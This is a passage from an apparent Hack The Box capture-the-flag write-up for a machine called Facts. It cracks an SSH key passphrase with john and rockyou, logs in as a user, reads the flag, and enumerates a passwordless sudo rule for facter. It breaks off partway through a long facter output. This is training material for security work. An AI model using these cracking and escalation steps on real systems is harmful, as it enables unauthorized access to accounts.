<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>ssh-keygen <span class="nt">-yf</span> id_ed25519 
<span class="go">Enter passphrase:
</span></code></pre></div></div>

<p>This format isn’t in <code class="language-plaintext highlighter-rouge">hashcat</code> yet, so I’ll use <code class="language-plaintext highlighter-rouge">john</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>/opt/john/run/ssh2john.py id_ed25519 <span class="o">&gt;</span> id_ed25519.hash
<span class="gp">oxdf@hacky$</span><span class="w"> </span>/opt/john/run/john ./id_ed25519.hash <span class="nt">--wordlist</span><span class="o">=</span>/opt/SecLists/Passwords/Leaked-Databases/rockyou.txt 
<span class="go">Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
Will run 12 OpenMP threads
Note: Passwords longer than 10 [worst case UTF-8] to 32 [ASCII] rejected
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
0g 0:00:00:33 0.02% (ETA: 2026-06-02 03:59) 0g/s 78.47p/s 78.47c/s 78.47C/s star123..nugget
dragonballz      (id_ed25519)     
1g 0:00:00:41 DONE (2026-05-30 15:07) 0.02395g/s 78.18p/s 78.18c/s 78.18C/s grecia..jeter2
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
</span></code></pre></div></div>

<p>It cracks! I can save it without the passphrase:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>ssh-keygen <span class="nt">-p</span> <span class="nt">-f</span> id_ed25519
<span class="go">Enter old passphrase: 
Key has comment 'trivia@facts.htb'
Enter new passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved with the new passphrase.
</span></code></pre></div></div>

<p>Now I can get the user:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>ssh-keygen <span class="nt">-yf</span> id_ed25519
<span class="go">ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICWYeZZS4gDH8+z1yn1hjRCpUfzY3RiH21fXq9qQIHqV trivia@facts.htb
</span></code></pre></div></div>

<p>And login:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>ssh <span class="nt">-i</span> ~/keys/facts-trivia trivia@facts.htb
<span class="go">Welcome to Ubuntu 25.04 (GNU/Linux 6.14.0-37-generic x86_64)
...[snip]...
</span><span class="gp">trivia@facts:~$</span><span class="w">
</span></code></pre></div></div>

<p>The OS is Ubuntu 25.04 as predicted <a href="#initial-scanning">above</a>. There’s no <code class="language-plaintext highlighter-rouge">user.txt</code> in this directory, but I can read it from the other user’s home directory:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">trivia@facts:~$</span><span class="w"> </span><span class="nb">cat</span> ../william/user.txt
<span class="go">a26ad8d4************************
</span></code></pre></div></div>

<h2 id="shell-as-root">Shell as root</h2>

<h3 id="enumeration">Enumeration</h3>

<p>There isn’t much of interest in trivia’s home directory:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">trivia@facts:~$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-la</span>
<span class="go">total 36
drwxr-x--- 6 trivia trivia 4096 May 13 13:21 .
drwxr-xr-x 4 root   root   4096 Jan  8 17:53 ..
lrwxrwxrwx 1 root   root      9 Jan 26 11:40 .bash_history -&gt; /dev/null
-rw-r--r-- 1 trivia trivia  220 Aug 20  2024 .bash_logout
-rw-r--r-- 1 trivia trivia 3900 Jan  8 18:19 .bashrc
drwxrwxr-x 3 trivia trivia 4096 Jan  8 18:01 .bundle
drwx------ 2 trivia trivia 4096 Jan  8 18:58 .cache
drwxrwxr-x 3 trivia trivia 4096 Jan  8 17:52 .local
-rw-r--r-- 1 trivia trivia  807 Aug 20  2024 .profile
drwx------ 2 trivia trivia 4096 May 28 01:17 .ssh
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">.bundle</code> is related to Ruby packages. There is one other user with a home directory in <code class="language-plaintext highlighter-rouge">/home</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">trivia@facts:/home$</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">trivia  william
</span><span class="gp">trivia@facts:/home/william$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-la</span>
<span class="go">total 24
drwxr-xr-x 2 william william 4096 Jan 26 11:40 .
drwxr-xr-x 4 root    root    4096 Jan  8 17:53 ..
lrwxrwxrwx 1 root    root       9 Jan 26 11:40 .bash_history -&gt; /dev/null
-rw-r--r-- 1 william william  220 Aug 20  2024 .bash_logout
-rw-r--r-- 1 william william 3771 Aug 20  2024 .bashrc
-rw-r--r-- 1 william william  807 Aug 20  2024 .profile
-rw-r--r-- 1 root    william   33 May 28 01:18 user.txt
</span></code></pre></div></div>

<p>It’s world readable, and very empty. I think this is only here to host <code class="language-plaintext highlighter-rouge">user.txt</code> while making it not accessible over MinIO.</p>

<p>This all lines up with the users with shells set in <code class="language-plaintext highlighter-rouge">passwd</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">trivia@facts:~$</span><span class="w"> </span><span class="nb">cat</span> /etc/passwd | <span class="nb">grep</span> <span class="s1">'sh$'</span>
<span class="go">root:x:0:0:root:/root:/bin/bash
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash
</span></code></pre></div></div>

<p>The trivia user can run <code class="language-plaintext highlighter-rouge">facter</code> as any user without a password using <code class="language-plaintext highlighter-rouge">sudo</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">trivia@facts:~$</span><span class="w"> </span><span class="nb">sudo</span> <span class="nt">-l</span>
<span class="go">Matching Defaults entries for trivia on facts:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter
</span></code></pre></div></div>

<h3 id="facter">facter</h3>

<h4 id="background">Background</h4>

<p><code class="language-plaintext highlighter-rouge">facter</code> is <a href="https://www.puppet.com/">Puppet’s</a> cross-platform system inventory tool. Puppet uses it during catalog compilation to learn about the node it’s configuring (OS, hardware, network, mounted filesystems, installed packages, etc.). It’s written in Ruby and ships as part of the <code class="language-plaintext highlighter-rouge">puppetlabs-facter</code> gem (so the binary on this box is just a Ruby shim around the library):</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">trivia@facts:~$</span><span class="w"> </span>file /usr/bin/facter 
<span class="go">/usr/bin/facter: Ruby script, ASCII text executable
</span></code></pre></div></div>

<p>The script is very simple:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/ruby</span>
<span class="c1"># frozen_string_literal: true</span>

<span class="nb">require</span> <span class="s1">'pathname'</span>
<span class="nb">require</span> <span class="s1">'facter/framework/cli/cli_launcher'</span>

<span class="no">Facter</span><span class="o">::</span><span class="no">OptionsValidator</span><span class="p">.</span><span class="nf">validate</span><span class="p">(</span><span class="no">ARGV</span><span class="p">)</span>
<span class="n">processed_arguments</span> <span class="o">=</span> <span class="no">CliLauncher</span><span class="p">.</span><span class="nf">prepare_arguments</span><span class="p">(</span><span class="no">ARGV</span><span class="p">)</span>

<span class="no">CliLauncher</span><span class="p">.</span><span class="nf">start</span><span class="p">(</span><span class="n">processed_arguments</span><span class="p">)</span>
</code></pre></div></div>

<p>It loads the <code class="language-plaintext highlighter-rouge">cli_launcher</code> modules, and then calls <code class="language-plaintext highlighter-rouge">start</code>. Ruby Gems are stored in <code class="language-plaintext highlighter-rouge">/usr/lib/ruby/vendor_ruby/</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">trivia@facts:~$</span><span class="w"> </span><span class="nb">ls</span> /usr/lib/ruby/vendor_ruby/
<span class="go">3.3.0  docs  facter  facter.rb  rubygems  rubygems.rb  schema  sys  sys-filesystem.rb  xmlrpc  xmlrpc.rb
</span></code></pre></div></div>

<p>This is actually a hint that this is installed legit software, which it is. Its <a href="https://github.com/puppetlabs/facter">GitHub page</a> describes it as:</p>

<blockquote>
  <p>Facter is a command-line tool that gathers basic facts about nodes (systems) such as hardware details, network settings, OS type and version, and more. These facts are made available as variables in your Puppet manifests and can be used to inform conditional expressions in Puppet.</p>
</blockquote>

<p>Running it without args shows that:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">trivia@facts:~$</span><span class="w"> </span>facter
<span class="go">disks =&gt; {
  sda =&gt; {
    model =&gt; "Virtual disk",
    serial =&gt; "6000c29d9baa1a6a7f26c811f7661c76",
    size =&gt; "10.00 GiB",
    size_bytes =&gt; 10737418240,
    type =&gt; "ssd",
    vendor =&gt; "VMware",
    wwn =&gt; "0x6000c29d9baa1a6a7f26c811f7661c76"
  }
}
dmi =&gt; {
  bios =&gt; {
    release_date =&gt; "11/12/2020",
    vendor =&gt; "Phoenix Technologies LTD",
    version =&gt; "6.00"
  },
  board =&gt; {
    manufacturer =&gt; "Intel Corporation",
    product =&gt; "440BX Desktop Reference Platform"
  },
  chassis =&gt; {
    asset_tag =&gt; "No Asset Tag",
    type =&gt; "Other"
  },
  manufacturer =&gt; "VMware, Inc.",
  product =&gt; {
    name =&gt; "VMware Virtual Platform",
    version =&gt; "None"
  }
}
facterversion =&gt; 4.10.0
filesystems =&gt; btrfs,ext2,ext3,ext4,squashfs,vfat
fips_enabled =&gt; false
hypervisors =&gt; {
  vmware =&gt; {
  }
}
identity =&gt; {
  gid =&gt; 1000,
  group =&gt; "trivia",
  privileged =&gt; false,
  uid =&gt; 1000,
  user =&gt; "trivia"
}
is_virtual =&gt; true
kernel =&gt; Linux
kernelmajversion =&gt; 6.14
kernelrelease =&gt; 6.14.0-37-generic
kernelversion =&gt; 6.14.0
load_averages =&gt; {
  15m =&gt; 0.0,
  1m =&gt; 0.0,
  5m =&gt; 0.01
}
memory =&gt; {
  swap =&gt; {
    available =&gt; "2.00 GiB",
    available_bytes =&gt; 2147479552,
    capacity =&gt; "0.00%",
    total =&gt; "2.00 GiB",
    total_bytes =&gt; 2147479552,
    used =&gt; "0 bytes",
    used_bytes =&gt; 0
  },
  system =&gt; {
    available =&gt; "2.45 GiB",
    available_bytes =&gt; 2628014080,
    capacity =&gt; "26.36%",
    total =&gt; "3.32 GiB",
    total_bytes =&gt; 3568623616,
    used =&gt; "897.04 MiB",
    used_bytes =&gt; 940609536
  }
}
mountpoints =&gt; {
  / =&gt; {
    available =&gt; "1.72 GiB",
    available_bytes =&gt; 1850445824,
    capacity =&gt; "76.04%",
    device =&gt; "/dev/mapper/ubuntu--vg-ubuntu--lv",
    filesystem =&gt; "ext4",
    options =&gt; [
      "rw",
      "relatime"
    ],
    size =&gt; "7.28 GiB",
    size_bytes =&gt; 7821811712,
    used =&gt; "5.47 GiB",
    used_bytes =&gt; 5874061312
  },
  /boot =&gt; {
    available =&gt; "124.41 MiB",
    available_bytes =&gt; 130457600,
    capacity =&gt; "67.01%",
    device =&gt; "/dev/sda2",
    filesystem =&gt; "ext4",
    options =&gt; [
      "rw",
      "relatime"
    ],
    size =&gt; "408.73 MiB",
    size_bytes =&gt; 428589056,
    used =&gt; "252.75 MiB",
    used_bytes =&gt; 265031680
  },
  /dev =&gt; {
    available =&gt; "1.62 GiB",
    available_bytes =&gt; 1739132928,
    capacity =&gt; "0%",
    device =&gt; "udev",
    filesystem =&gt; "devtmpfs",
    options =&gt; [
      "rw",
      "nosuid",
      "relatime",
      "size=1698372k",
      "nr_inodes=424593",
      "mode=755",
      "inode64"
    ],
    size =&gt; "1.62 GiB",
    size_bytes =&gt; 1739132928,
    used =&gt; "0 bytes",
    used_bytes =&gt; 0
  },
  /dev/hugepages =&gt; {
    available =&gt; "0 bytes",
    available_bytes =&gt; 0,
    capacity =&gt; "100%",
    device =&gt; "hugetlbfs",
    filesystem =&gt; "hugetlbfs",
    options =&gt; [
      "rw",
      "nosuid",
      "nodev",
      "relatime",
      "pagesize=2M"
    ],
    size =&gt; "0 bytes",
    size_bytes =&gt; 0,
    used =&gt; "0 bytes",
    used_bytes =&gt; 0
  },
  /dev/mqueue =&gt; {
    available =&gt; "0 bytes",
    available_bytes =&gt; 0,
    capacity =&gt; "100%",
    device =&gt; "mqueue",
    filesystem =&gt; "mqueue",
    options =&gt; [
      "rw",
      "nosuid",
      "nodev",
      "noexec",
      "relatime"
    ],
    size =&gt; "0 bytes",
    size_bytes =&gt; 0,
    used =&gt; "0 bytes",
    used_bytes =&gt; 0
  },
  /dev/pts =&gt; {
    available =&gt; "0 bytes",
    available_bytes =&gt; 0,
    capacity =&gt; "100%",
    device =&gt; "devpts",
    filesystem =&gt; "devpts",
    options =&gt; [
      "rw",
      "nosuid",
      "noexec",
      "relatime",
      "gid=5",
      "mode=600",
      "ptmxmode=000"
    ],
    size =&gt; "0 bytes",
    size_bytes =&gt; 0,
    used =&gt; "0 bytes",
    used_bytes =&gt; 0
  },
  /dev/shm =&gt; {
    available =&gt; "1.66 GiB",
    available_bytes =&gt; 1784311808,
    capacity =&gt; "0%",
    device =&gt; "tmpfs",
    filesystem =&gt; "tmpfs",
    options =&gt; [
      "rw",
      "nosuid",
      "nodev",
      "inode64"
    ],
    size =&gt; "1.66 GiB",
    size_bytes =&gt; 1784311808,
    used =&gt; "0 bytes",
    used_bytes =&gt; 0
  },
  /run =&gt; {
    available =&gt; "339.10 MiB",
    available_bytes =&gt; 355573760,
    capacity =&gt; "0.36%",
    device =&gt; "tmpfs",
    filesystem =&gt; "tmpfs",
    options =&gt; [
      "rw",
      "nosuid",
      "nodev",
      "noexec",
      "relatime",
      "size=348500k",
      "mode=755",
      "inode64"
    ],
    size =&gt; "340.33 MiB",
    size_bytes =&gt; 356864000,
    used =&gt; "1.23 MiB",
    used_bytes =&gt; 1290240
  },
  /run/credentials/getty@tty1.service =&gt; {
    available =&gt; "1.00 MiB",
    available_bytes =&gt; 1048576,
    capacity =&gt; "0%",
    device =&gt; "tmpfs",
    filesystem =&gt; "tmpfs",
    options =&gt; [
      "ro",
      "nosuid",
      "nodev",
      "noexec",
      "relatime",
      "nosymfollow",
      "size=1024k",
      "nr_inodes=1024",
      "mode=700",
      "inode64",
      "noswap"
    ],
    size =&gt; "1.00 MiB",
    size_bytes =&gt; 1048576,
    used =&gt; "0 bytes",
    used_bytes =&gt; 0
  },
  /run/credentials/systemd-journald.service =&gt; {
    available =&gt; "1.00 MiB",
    available_bytes =&gt; 1048576,
    capacity =&gt; "0%",
    device =&gt; "tmpfs",
    filesystem =&gt; "tmpfs",
    options =&gt; [
      "ro",
      "nosuid",
      "nodev",
      "noexec",
      "relatime",
      "nosymfollow",
      "size=1024k",
      "nr_inodes=1024",
      "mode=700",
      "inode64",
      "noswap"
    ],
    size =&gt; "1.00 MiB",
    size_bytes =&gt; 1048576,
    used =&gt; "0 bytes",
    used_bytes =&gt; 0
  },
  /run/credentials/systemd-resolved.service =&gt; {
    available =&gt; "1.00 MiB",
    available_bytes =&gt; 1048576,
    capacity =&gt; "0%",
    device =&gt; "tmpfs",
    filesystem =&gt; "tmpfs",
    options =&gt; [
      "ro",
      "nosuid",
      "nodev",
      "noexec",
      "relatime",
      "nosymfollow",
      "size=1024k",
      "nr_inodes=1024",
      "mode=700",
      "inode64",
      "noswap"
    ],
    size =&gt; "1.00 MiB",
    size_bytes =&gt; 1048576,
    used =&gt; "0 bytes",
    used_bytes =&gt; 0
  },
  /run/lock =&gt; {
    available =&gt; "5.00 MiB",
    available_bytes =&gt; 5242880,
    capacity =&gt; "0%",
    device =&gt; "tmpfs",
    filesystem =&gt; "tmpfs",
    options =&gt; [
      "rw",
      "nosuid",
      "nodev",
      "noexec",
      "relatime",
      "size=5120k",
      "inode64"
    ],
    size =&gt; "5.00 MiB",
    size_bytes =&gt; 5242880,
    used =&gt; "0 bytes",
    used_bytes =&gt; 0
  },
  /run/snapd/ns =&gt; {
    available =&gt; "339.10 MiB",
    available_bytes =&gt; 355573760,
    capacity =&gt; "0.36%",
    device =&gt; "tmpfs",
    filesystem =&gt; "tmpfs",
    options =&gt; [
      "rw",
      "nosuid",
      "nodev",
      "noexec",
      "relatime",
      "size=348500k",
      "mode=755",
      "inode64"
    ],
    size =&gt; "340.33 MiB",
    size_bytes =&gt; 356864000,
    used =&gt; "1.23 MiB",
    used_bytes =&gt; 1290240
  },
  /run/snapd/ns/docker.mnt =&gt; {
    available =&gt; "0 bytes",
    available_bytes =&gt; 0,
    capacity =&gt; "100%",
    device =&gt; "nsfs",
    filesystem =&gt; "nsfs",
    options =&gt; [
      "rw"
    ],
    size =&gt; "0 bytes",
    size_bytes =&gt; 0,
    used =&gt; "0 bytes",
    used_bytes =&gt; 0
  },
  /run/user/1000 =&gt; {
    available =&gt; "340.32 MiB",
    available_bytes =&gt; 356847616,
    capacity =&gt; "0.00%",
    device =&gt; "tmpfs",
    filesystem =&gt; "tmpfs",
    options =&gt; [
      "rw",
      "nosuid",
      "nodev",
      "relatime",
      "size=348496k",
      "nr_inodes=87124",
      "mode=700",
      "uid=1000",
      "gid=1000",
      "inode64"
    ],
    size =&gt; "340.33 MiB",
    size_bytes =&gt; 356859904,
    used =&gt; "12.00 KiB",
    used_bytes =&gt; 12288
  },
  /snap/core22/2193 =&gt; {
    available =&gt; "0 bytes",
    available_bytes =&gt; 0,
    capacity =&gt; "100%",
    device =&gt; "/dev/loop0",
    filesystem =&gt; "squashfs",
    options =&gt; [
      "ro",
      "nodev",
      "relatime",
      "errors=continue",
      "threads=single"
    ],
    size =&gt; "74.00 MiB",
    size_bytes =&gt; 77594624,
    used =&gt; "74.00 MiB",
    used_bytes =&gt; 77594624
  },
  /snap/core22/2216 =&gt; {
    available =&gt; "0 bytes",
    available_bytes =&gt; 0,
    capacity =&gt; "100%",
    device =&gt; "/dev/loop4",
    filesystem =&gt; "squashfs",
    options =&gt; [
      "ro",
      "nodev",
      "relatime",
      "errors=continue",
      "threads=single"
    ],
    size =&gt; "74.00 MiB",
    size_bytes =&gt; 77594624,
    used =&gt; "74.00 MiB",
    used_bytes =&gt; 77594624
  },
  /snap/core24/1243 =&gt; {
    available =&gt; "0 bytes",
    available_bytes =&gt; 0,
    capacity =&gt; "100%",
    device =&gt; "/dev/loop1",
    filesystem =&gt; "squashfs",
    options =&gt; [
      "ro",
      "nodev",
      "relatime",
      "errors=continue",
      "threads=single"
    ],
    size =&gt; "66.88 MiB",
    size_bytes =&gt; 70123520,
    used =&gt; "66.88 MiB",
    used_bytes =&gt; 70123520
  },
  /snap/core24/1267 =&gt; {
    available =&gt; "0 bytes",
    available_bytes =&gt; 0,
    capacity =&gt; "100%",
    device =&gt; "/dev/loop7",
    filesystem =&gt; "squashfs",
    options =&gt; [
      "ro",
      "nodev",
      "relatime",
      "errors=continue",
      "threads=single"
    ],
    size =&gt; "66.88 MiB",
    size_bytes =&gt; 70123520,
    used =&gt; "66.88 MiB",
    used_bytes =&gt; 70123520
  },
  /snap/docker/3265 =&gt; {
    available =&gt; "0 bytes",
    available_bytes =&gt; 0,
    capacity =&gt; "100%",
    device =&gt; "/dev/loop3",
    filesystem =&gt; "squashfs",
    options =&gt; [
      "ro",
      "nodev",
      "relatime",
      "errors=continue",
      "threads=single"
    ],
    size =&gt; "140.63 MiB",
    size_bytes =&gt; 147456000,
    used =&gt; "140.63 MiB",
    used_bytes =&gt; 147456000
  },
  /snap/docker/3377 =&gt; {
    available =&gt; "0 bytes",
    available_bytes =&gt; 0,
    capacity =&gt; "100%",
    device =&gt; "/dev/loop6",
    filesystem =&gt; "squashfs",
    options =&gt; [
      "ro",
      "nodev",
      "relatime",
      "errors=continue",
      "threads=single"
    ],
    size =&gt; "151.50 MiB",
    size_bytes =&gt; 158859264,
    used =&gt; "151.50 MiB",
    used_bytes =&gt; 158859264
  },
  /snap/snapd/25577 =&gt; {
    available =&gt; "0 bytes",
    available_bytes =&gt; 0,
    capacity =&gt; "100%",
    device =&gt; "/dev/loop2",
    filesystem =&gt; "squashfs",
    options =&gt; [
      "ro",
      "nodev",
      "relatime",
      "errors=continue",
      "threads=single"
    ],
    size =&gt; "51.00 MiB",
    size_bytes =&gt; 53477376,
    used =&gt; "51.00 MiB",
    used_bytes =&gt; 53477376
  },
  /snap/snapd/25935 =&gt; {
    available =&gt; "0 bytes",
    available_bytes =&gt; 0,
    capacity =&gt; "100%",
    device =&gt; "/dev/loop5",
    filesystem =&gt; "squashfs",
    options =&gt; [
      "ro",
      "nodev",
      "relatime",
      "errors=continue",
      "threads=single"
    ],
    size =&gt; "48.13 MiB",
    size_bytes =&gt; 50462720,
    used =&gt; "48.13 MiB",
    used_bytes =&gt; 50462720
  },
  /tmp =&gt; {
    available =&gt; "1.66 GiB",
    available_bytes =&gt; 1784311808,
    capacity =&gt; "0%",
    device =&gt; "tmpfs",
    filesystem =&gt; "tmpfs",
    options =&gt; [
      "rw",
      "nosuid",
      "nodev",
      "nr_inodes=1048576",
      "inode64"
    ],
    size =&gt; "1.66 GiB",
    size_bytes =&gt; 1784311808,
    used =&gt; "0 bytes",
    used_bytes =&gt; 0
  }
}
networking =&gt; {
  dhcp =&gt; "10.10.10.2",
  fqdn =&gt; "facts",
  hostname =&gt; "facts",
  interfaces =&gt; {
    br-6fd3f297dc61 =&gt; {
      bindings =&gt; [
        {
          address =&gt; "172.18.0.1",
          netmask =&gt; "255.255.0.0",
          network =&gt; "172.18.0.0"
        }
      ],
      bindings6 =&gt; [
        {
          address =&gt; "fe80::b0d4:20ff:fe2f:86b8",
          netmask =&gt; "ffff:ffff:ffff:ffff::",
          network =&gt; "fe80::",
          scope6 =&gt; "link",
          flags =&gt; [
            "permanent"
          ]
        }
      ],
      ip =&gt; "172.18.0.1",
      ip6 =&gt; "fe80::b0d4:20ff:fe2f:86b8",
      mac =&gt; "b2:d4:20:2f:86:b8",
      mtu =&gt; 1500,
      netmask =&gt; "255.255.0.0",
      netmask6 =&gt; "ffff:ffff:ffff:ffff::",
      network =&gt; "172.18.0.0",
      network6 =&gt; "fe80::",
      operational_state =&gt; "up",
      physical =&gt; false,
      scope6 =&gt; "link"
    },
    docker0 =&gt; {
      bindings =&gt; [
        {
          address =&gt; "172.17.0.1",
          netmask =&gt; "255.255.0.0",
          network =&gt; "172.17.0.0"
        }
      ],
      ip =&gt; "172.17.0.1",
      mac =&gt; "fa:b6:bc:1b:31:dd",
      mtu =&gt; 1500,
      netmask =&gt; "255.255.0.0",
      network =&gt; "172.17.0.0",
      operational_state =&gt; "down",
      physical =&gt; false
    },
    eth0 =&gt; {
      bindings =&gt; [
        {
          address =&gt; "10.129.244.96",
          netmask =&gt; "255.255.0.0",
          network =&gt; "10.129.0.0"
        }
      ],
      bindings6 =&gt; [
        {
          address =&gt; "dead:beef::a0de:adff:fe98:7d31",
          netmask =&gt; "ffff:ffff:ffff:ffff::",
          network =&gt; "dead:beef::",
          scope6 =&gt; "global",
          flags =&gt; [
          ]
        },
        {
          address =&gt; "fe80::a0de:adff:fe98:7d31",
          netmask =&gt; "ffff:ffff:ffff:ffff::",
          network =&gt; "fe80::",
          scope6 =&gt; "link",
          flags =&gt; [
            "permanent"
          ]
        }
      ],
      dhcp =&gt; "10.10.10.2",
      duplex =&gt; "full",
      ip =&gt; "10.129.244.96",
      ip6 =&gt; "dead:beef::a0de:adff:fe98:7d31",
      mac =&gt; "a2:de:ad:98:7d:31",
      mtu =&gt; 1500,
      netmask =&gt; "255.255.0.0",
      netmask6 =&gt; "ffff:ffff:ffff:ffff::",
      network =&gt; "10.129.0.0",
      network6 =&gt; "dead:beef::",
      operational_state =&gt; "up",
      physical =&gt; true,
      scope6 =&gt; "global",
      speed =&gt; 10000
    },
    lo =&gt; {
      bindings =&gt; [
        {
          address =&gt; "127.0.0.1",
          netmask =&gt; "255.0.0.0",
          network =&gt; "127.0.0.0"
        }
      ],
      bindings6 =&gt; [
        {
          address =&gt; "::1",
          netmask =&gt; "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff",
          network =&gt; "::1",
          scope6 =&gt; "host",
          flags =&gt; [
            "permanent"
          ]
        }
      ],
      ip =&gt; "127.0.0.1",
      ip6 =&gt; "::1",
      mtu =&gt; 65536,
      netmask =&gt; "255.0.0.0",
      netmask6 =&gt; "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff",
      network =&gt; "127.0.0.0",
      network6 =&gt; "::1",
      operational_state =&gt; "unknown",
      physical =&gt; false,
      scope6 =&gt; "host"
    },
    veth9ab331b =&gt; {
      bindings6 =&gt; [
        {
          address =&gt; "fe80::2805:3cff:fe54:1045",
          netmask =&gt; "ffff:ffff:ffff:ffff::",
          network =&gt; "fe80::",
          scope6 =&gt; "link",
          flags =&gt; [
            "permanent"
          ]
        }
      ],
      ip6 =&gt; "fe80::2805:3cff:fe54:1045",
      mac =&gt; "2a:05:3c:54:10:45",
      mtu =&gt; 1500,
      netmask6 =&gt; "ffff:ffff:ffff:ffff::",
      network6 =&gt; "fe80::",
      operational_state =&gt; "up",
      physical =&gt; false,
      scope6 =&gt; "link"
    }
  },
  ip =&gt; "10.129.244.96",
  ip6 =&gt; "dead:beef::a0de:adff:fe98:7d31",
  mac =&gt; "a2:de:ad:98:7d:31",
  mtu =&gt; 1500,
  netmask =&gt; "255.255.0.0",
  netmask6 =&gt; "ffff:ffff:ffff:ffff::",
  network =&gt; "10.129.0.0",
  network6 =&gt; "dead:beef::",
  primary =&gt; "eth0",
  scope6 =&gt; "global"
}
os =&gt; {
  architecture =&gt; "amd64",
  distro =&gt; {
    codename =&gt; "plucky",
    description =&gt; "Ubuntu 25.04",
    id =&gt; "Ubuntu",
    release =&gt; {
      full =&gt; "25.04",
      major =&gt; "25.04"
    }
  },
  family =&gt; "Debian",
  hardware =&gt; "x86_64",
  name =&gt; "Ubuntu",
  release =&gt; {
    full =&gt; "25.04",
    major =&gt; "25.04"
  },
  selinux =&gt; {
    enabled =&gt; false
  }
}
partitions =&gt; {
  /dev/loop0 =&gt; {
    backing_file =&gt; "/var/lib/snapd/snaps/core22_2193.snap",
    filesystem =&gt; "squashfs",
    mount =&gt; "/snap/core22/2193",
    size =&gt; "73.95 MiB",
    size_bytes =&gt; 77545472
  },
  /dev/loop1 =&gt; {
    backing_file =&gt; "/var/lib/snapd/snaps/core24_1243.snap",
    filesystem =&gt; "squashfs",
    mount =&gt; "/snap/core24/1243",
    size =&gt; "66.84 MiB",
    size_bytes =&gt; 70090752
  },
  /dev/loop2 =&gt; {
    backing_file =&gt; "/var/lib/snapd/snaps/snapd_25577.snap",
    filesystem =&gt; "squashfs",
    mount =&gt; "/snap/snapd/25577",
    size =&gt; "50.93 MiB",
    size_bytes =&gt; 53399552
  },
  /dev/loop3 =&gt; {
    backing_file =&gt; "/var/lib/snapd/snaps/docker_3265.snap",
    filesystem =&gt; "squashfs",
    mount =&gt; "/snap/docker/3265",
    size =&gt; "140.56 MiB",
    size_bytes =&gt; 147386368
  },
  /dev/loop4 =&gt; {
    backing_file =&gt; "/var/lib/snapd/snaps/core22_2216.snap",
    filesystem =&gt; "squashfs",
    mount =&gt; "/snap/core22/2216",
    size =&gt; "73.95 MiB",
    size_bytes =&gt; 77541376
  },
  /dev/loop5 =&gt; {
    backing_file =&gt; "/var/lib/snapd/snaps/snapd_25935.snap",
    filesystem =&gt; "squashfs",
    mount =&gt; "/snap/snapd/25935",
    size =&gt; "48.09 MiB",
    size_bytes =&gt; 50421760
  },
  /dev/loop6 =&gt; {
    backing_file =&gt; "/var/lib/snapd/snaps/docker_3377.snap",
    filesystem =&gt; "squashfs",
    mount =&gt; "/snap/docker/3377",
    size =&gt; "151.43 MiB",
    size_bytes =&gt; 158789632
  },
  /dev/loop7 =&gt; {
    backing_file =&gt; "/var/lib/snapd/snaps/core24_1267.snap",
    filesystem =&gt; "squashfs",
    mount =&gt; "/snap/core24/1267",
    size =&gt; "66.85 MiB",
    size_bytes =&gt; 70094848
  },
  /dev/mapper/ubuntu--vg-swap =&gt; {
    filesystem =&gt; "swap",
    size =&gt; "2.00 GiB",
    size_bytes =&gt; 2147483648,
    uuid =&gt; "27150c7f-d59e-46ce-82fd-04e71d8045b8"
  },
  /dev/mapper/ubuntu--vg-ubuntu--lv =&gt; {
    filesystem =&gt; "ext4",
    mount =&gt; "/",
    size =&gt; "7.50 GiB",
    size_bytes =&gt; 8053063680,
    uuid =&gt; "ce23845e-5b21-4d7f-aaa6-e1a7fb7f6c40"
  },
  /dev/sda1 =&gt; {
    parttype =&gt; "21686148-6449-6e6f-744e-656564454649",
    partuuid =&gt; "6953bc54-1c25-4039-9fec-8ce40bf15777",
    size =&gt; "1.00 MiB",
    size_bytes =&gt; 1048576
  },
  /dev/sda2 =&gt; {
    filesystem =&gt; "ext4",
    mount =&gt; "/boot",
    parttype =&gt; "0fc63daf-8483-4772-8e79-3d69d8477de4",
    partuuid =&gt; "438047bf-4d21-4dfd-b751-b2a0df08d9b5",
    size =&gt; "451.00 MiB",
    size_bytes =&gt; 472907776,
